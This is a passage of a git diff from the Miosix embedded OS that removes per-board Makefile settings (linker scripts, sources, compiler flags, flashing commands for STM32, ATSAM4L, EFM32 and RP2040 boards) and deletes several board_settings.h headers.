LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/sd_stm32h7.cpp \ - arch/common/core/cache_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - arch/common/drivers/dcc.cpp \ - $(ARCH_INC)/drivers/pll.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM0_stm32f0 -## -else ifeq ($(ARCH),cortexM0_stm32f0) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM0_stm32f0/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f072rb_stm32f0discovery - ## - ifeq ($(OPT_BOARD),stm32f072rb_stm32f0discovery) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_128k+16k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F072RB_DISCO -DSTM32F072xB - CXXFLAGS_BASE += -D_BOARD_STM32F072RB_DISCO -DSTM32F072xB - - ## Select clock frequency - CLOCK_FREQ := -DSYSCLK_FREQ_32MHz=32000000 -DRUN_WITH_HSI - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32f030r8_stm32f0discovery - ## - else ifeq ($(OPT_BOARD),stm32f030r8_stm32f0discovery) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_64k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/core/stm32_16bit_os_timer.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F030R8_DISCO -DSTM32F030x8 - CXXFLAGS_BASE += -D_BOARD_STM32F030R8_DISCO -DSTM32F030x8 - - ## Select clock frequency - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_32MHz=32000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture does not support processes - #POSTLD := - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m0 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM0_STM32F0 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM0_STM32F0 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM4_stm32f3 -## -else ifeq ($(ARCH),cortexM4_stm32f3) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM4_stm32f3/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32f303vc_stm32f3discovery - ## - ifeq ($(OPT_BOARD),stm32f303vc_stm32f3discovery) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_256k+48k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32F3DISCOVERY - CXXFLAGS_BASE += -D_BOARD_STM32F3DISCOVERY - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM4_STM32F3 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM4_STM32F3 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32F3xx/Source/Templates/system_stm32f3xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM4_stm32l4 -## -else ifeq ($(ARCH),cortexM4_stm32l4) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM4_stm32l4/common - - ##------------------------------------------------------------------------- - ## BOARD: stm32l476rg_nucleo - ## - ifeq ($(OPT_BOARD),stm32l476rg_nucleo) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32l4/stm32l476rg_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_1m+128k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32L476RG_NUCLEO - CXXFLAGS_BASE += -D_BOARD_STM32L476RG_NUCLEO - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## BOARD: stm32l4r9zi_sensortile - ## - else ifeq ($(OPT_BOARD),stm32l4r9zi_sensortile) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_stm32l4/stm32l4r9zi_sensortile - - ## Select linker script - #LINKER_SCRIPT := already selected in board options - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp \ - arch/common/drivers/sd_stm32l4.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_STM32L4R9ZI_SENSORTILE - CXXFLAGS_BASE += -D_BOARD_STM32L4R9ZI_SENSORTILE - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM4_STM32L4 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM4_STM32L4 $(CLOCK_FREQ) $(XRAM) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/core/stm32_32bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM4_atsam4l -## -else ifeq ($(ARCH),cortexM4_atsam4l) - ## Base directory with header files for this board - ARCH_INC := arch/cortexM4_atsam4l/common - - ##------------------------------------------------------------------------- - ## BOARD: atsam4lc2aa_generic - ## - ifeq ($(OPT_BOARD),atsam4lc2aa_generic) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM4_atsam4l/atsam4lc2aa_generic - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -D_BOARD_ATSAM4LC2AA_GENERIC - CXXFLAGS_BASE += -D_BOARD_ATSAM4LC2AA_GENERIC - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - ## BUG: flashes ok but requires powercycle - PROG_BIN = $(if $(ROMFS_DIR),image.bin,main.bin) - PROG ?= openocd \ - -f '$(KPATH)/$(BOARD_INC)/openocd.cfg' \ - -c 'program $(PROG_BIN) 0x4000 reset' \ - -c shutdown - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - ## NOTE: although the atsam4l are cortex M4, they have no FPU, so the - ## closest multilib we have is cortex M3, and that's basically what they are - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM4_ATSAM4L $(CPU) $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM4_ATSAM4L $(CPU) $(OPT_OPTIMIZATION) \ - $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/drivers/serial_atsam4l.cpp \ - $(ARCH_INC)/drivers/clock.cpp \ - $(ARCH_INC)/drivers/lcd.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/os_timer.cpp \ - $(ARCH_INC)/interfaces-impl/deep_sleep.cpp \ - $(ARCH_INC)/interfaces-impl/gpio_impl.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM3_efm32g -## -else ifeq ($(ARCH),cortexM3_efm32g) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM3_efm32g/common - - ifeq ($(OPT_BOARD),efm32g222f128_generic) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM3_efm32g/efm32g222f128_generic - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/efm32_128k+16k_rom_bootloader.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -DEFM32G222F128 - CXXFLAGS_BASE += -DEFM32G222F128 - - ## Clock frequency - CLOCK_FREQ := -DEFM32_HFRCO_FREQ=28000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= echo 'make program not supported.' - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture supports processes - POSTLD := mx-postlinker - - ## Select appropriate compiler flags for both ASM/C/C++/linker - CPU := -mcpu=cortex-m3 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM3_EFM32G $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM3_EFM32G $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/core/mpu_cortexMx.cpp \ - arch/common/core/efm32_os_timer.cpp \ - arch/common/drivers/efm32_serial.cpp \ - arch/common/drivers/efm32_adc.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - arch/common/drivers/efm32_gpio.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/CMSIS/Device/SiliconLabs/EFM32G/Source/system_efm32g.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM0plus_stm32l0 -## -else ifeq ($(ARCH),cortexM0plus_stm32l0) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM0plus_stm32l0/common - - ifeq ($(OPT_BOARD),stm32l053r8_nucleo) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM0plus_stm32l0/stm32l053r8_nucleo - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/stm32_64k+8k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -DBOARD_STM32L053R8_NUCLEO -DSTM32L053xx - CXXFLAGS_BASE += -DBOARD_STM32L053R8_NUCLEO -DSTM32L053xx - - ## Clock frequency - ## External clock is 8Mhz provided from MCO output of ST-LINK. Actual - ## HSE crystal (X3) is not fitted. - CLOCK_FREQ := -DHSE_VALUE=8000000 -DSYSCLK_FREQ_32MHz=32000000 - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= st-flash --connect-under-reset --reset write \ - $(if $(ROMFS_DIR), image.bin, main.bin) 0x08000000 - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture does not support processes - #POSTLD := - - ## Select appropriate compiler flags for both ASM/C/C++/linker - # TODO arch is actually -mcpu=cortex-m0plus but compiler doesn't support it yet - CPU := -mcpu=cortex-m0 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM0PLUS_STM32L0 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM0PLUS_STM32L0 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - arch/common/drivers/serial_stm32.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/drivers/stm32_gpio.cpp \ - arch/common/core/stm32_16bit_os_timer.cpp \ - arch/common/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.c - -##----------------------------------------------------------------------------- -## ARCHITECTURE: cortexM0plus_rp2040 -## -else ifeq ($(ARCH),cortexM0plus_rp2040) - ## Base directory with else header files for this board - ARCH_INC := arch/cortexM0plus_rp2040/common - - ifeq ($(OPT_BOARD),rp2040_raspberry_pi_pico) - ## Base directory with header files for this board - BOARD_INC := arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico - - ## Select linker script - LINKER_SCRIPT := $(BOARD_INC)/rp2040_2M+264k_rom.ld - - ## Select architecture specific files - ## These are the files in arch// - ARCH_SRC := \ - $(BOARD_INC)/core/stage_1_boot.cpp \ - $(BOARD_INC)/interfaces-impl/bsp.cpp - - ## Add a #define to allow querying board name - CFLAGS_BASE += -DBOARD_RP2040_RASPBERRY_PI_PICO -D$(BOARD_VARIANT) - CXXFLAGS_BASE += -DBOARD_RP2040_RASPBERRY_PI_PICO -D$(BOARD_VARIANT) - - ## Select programmer command line - ## This is the program that is invoked when the user types - ## 'make program' - ## The command must provide a way to program the board, or print an - ## error message saying that 'make program' is not supported for that - ## board. - PROG ?= picotool load -x $(if $(ROMFS_DIR), image.bin, main.bin) - - ##------------------------------------------------------------------------- - ## End of board list - ## - endif - - ## Select compiler - PREFIX := arm-miosix-eabi- - ## This architecture does not support processes - #POSTLD := - - ## Select appropriate compiler flags for both ASM/C/C++/linker - # TODO arch is actually -mcpu=cortex-m0plus but compiler doesn't support it yet - CPU := -mcpu=cortex-m0 -mthumb - AFLAGS_BASE := $(CPU) - CFLAGS_BASE += -D_ARCH_CORTEXM0PLUS_RP2040 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) -c - CXXFLAGS_BASE += -D_ARCH_CORTEXM0PLUS_RP2040 $(CLOCK_FREQ) $(CPU) \ - $(OPT_OPTIMIZATION) $(OPT_EXCEPT) -c - LFLAGS_BASE := $(CPU) -Wl,--gc-sections,-Map,main.map \ - -Wl,-T$(KPATH)/$(LINKER_SCRIPT) $(OPT_EXCEPT) \ - $(OPT_OPTIMIZATION) -nostdlib - - ## Select architecture specific files - ## These are the files in arch//common - - ARCH_SRC += \ - arch/common/core/interrupts_cortexMx.cpp \ - $(ARCH_INC)/interfaces-impl/portability.cpp \ - $(ARCH_INC)/interfaces-impl/delays.cpp \ - arch/common/core/rp2040_os_timer.cpp \ - arch/common/drivers/rp2040_serial.cpp \ - arch/common/CMSIS/Device/RaspberryPi/RP2040/Source/system_RP2040.c - -##----------------------------------------------------------------------------- -## end of architecture list -## -endif - -## From compiler prefix form the name of the compiler and other tools -CC := $(PREFIX)gcc -CXX := $(PREFIX)g++ -LD := $(PREFIX)ld -AR := $(PREFIX)ar -AS := $(PREFIX)as -CP := $(PREFIX)objcopy -OD := $(PREFIX)objdump -SZ := $(PREFIX)size -STRIP := $(PREFIX)strip - -ifeq ("$(VERBOSE)","1") -Q := -ECHO := @true -else -Q := @ -ECHO := @echo -endif +PROC_CFLAGS_BASE ?= -ffunction-sections -fdata-sections \ + -Wall -Werror=return-type -g +PROC_CXXFLAGS_BASE ?= -std=c++23 -ffunction-sections -fdata-sections \ + -Wall -Werror=return-type -g +PROC_LFLAGS_BASE ?= -Wl,--gc-sections diff --git a/miosix/config/arch/arm7_lpc2000/lpc2138_miosix_board/board_settings.h b/miosix/config/arch/arm7_lpc2000/lpc2138_miosix_board/board_settings.h deleted file mode 100644 index d0f91544e..000000000 --- a/miosix/config/arch/arm7_lpc2000/lpc2138_miosix_board/board_settings.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Serial port baudrate -const unsigned int SERIAL_PORT_SPEED=115200; - -/// Uncomment to enable USART1 as well. This is only possible if WITH_DEVFS is -/// defined in miosix_settings.h The device will appear as /dev/auxtty. -//#define AUX_SERIAL "auxtty" - -/// Aux serial port baudrate -const unsigned int AUX_SERIAL_SPEED=9600; - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// LPC2138 has 32KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// \internal Clock frequency of hardware timer, hardware specific data -const unsigned int TIMER_CLOCK=14745600; - -/// \def WITH_RTC -/// Uncomment to enable support for RTC. Time-related functions depend on it. -/// By default it is defined (RTC is active) -#define WITH_RTC - -/// \def WAKEUP_DELAY -/// Uncomment if you want that to resume after shutdown, the user must hold down -/// the button for two seconds. Comment if you want instant resume. -/// By default it is not defined (no wakeup delay) -//#define WAKEUP_DELAY - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/board_settings.h b/miosix/config/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/board_settings.h deleted file mode 100644 index 4c2ef5d28..000000000 --- a/miosix/config/arch/cortexM0_stm32f0/stm32f030r8_stm32f0discovery/board_settings.h +++ /dev/null @@ -1,60 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F030R8 only has 8KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial DMA not supported yet on STM32F0 -//#define SERIAL_2_DMA //Serial DMA not supported yet on STM32F0 -//#define SERIAL_3_DMA //Serial DMA not supported yet on STM32F0 - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/board_settings.h b/miosix/config/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/board_settings.h deleted file mode 100644 index a3990de15..000000000 --- a/miosix/config/arch/cortexM0_stm32f0/stm32f072rb_stm32f0discovery/board_settings.h +++ /dev/null @@ -1,60 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// STM32F072RB only has 16KB of RAM so the stack is only 1.5KB. -const unsigned int MAIN_STACK_SIZE=1024+512; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial DMA not supported yet on STM32F0 -//#define SERIAL_2_DMA //Serial DMA not supported yet on STM32F0 -//#define SERIAL_3_DMA //Serial DMA not supported yet on STM32F0 - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/board_settings.h b/miosix/config/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/board_settings.h deleted file mode 100644 index 5c1cdfdb2..000000000 --- a/miosix/config/arch/cortexM0plus_rp2040/rp2040_raspberry_pi_pico/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2024 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/gpio.h" - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * 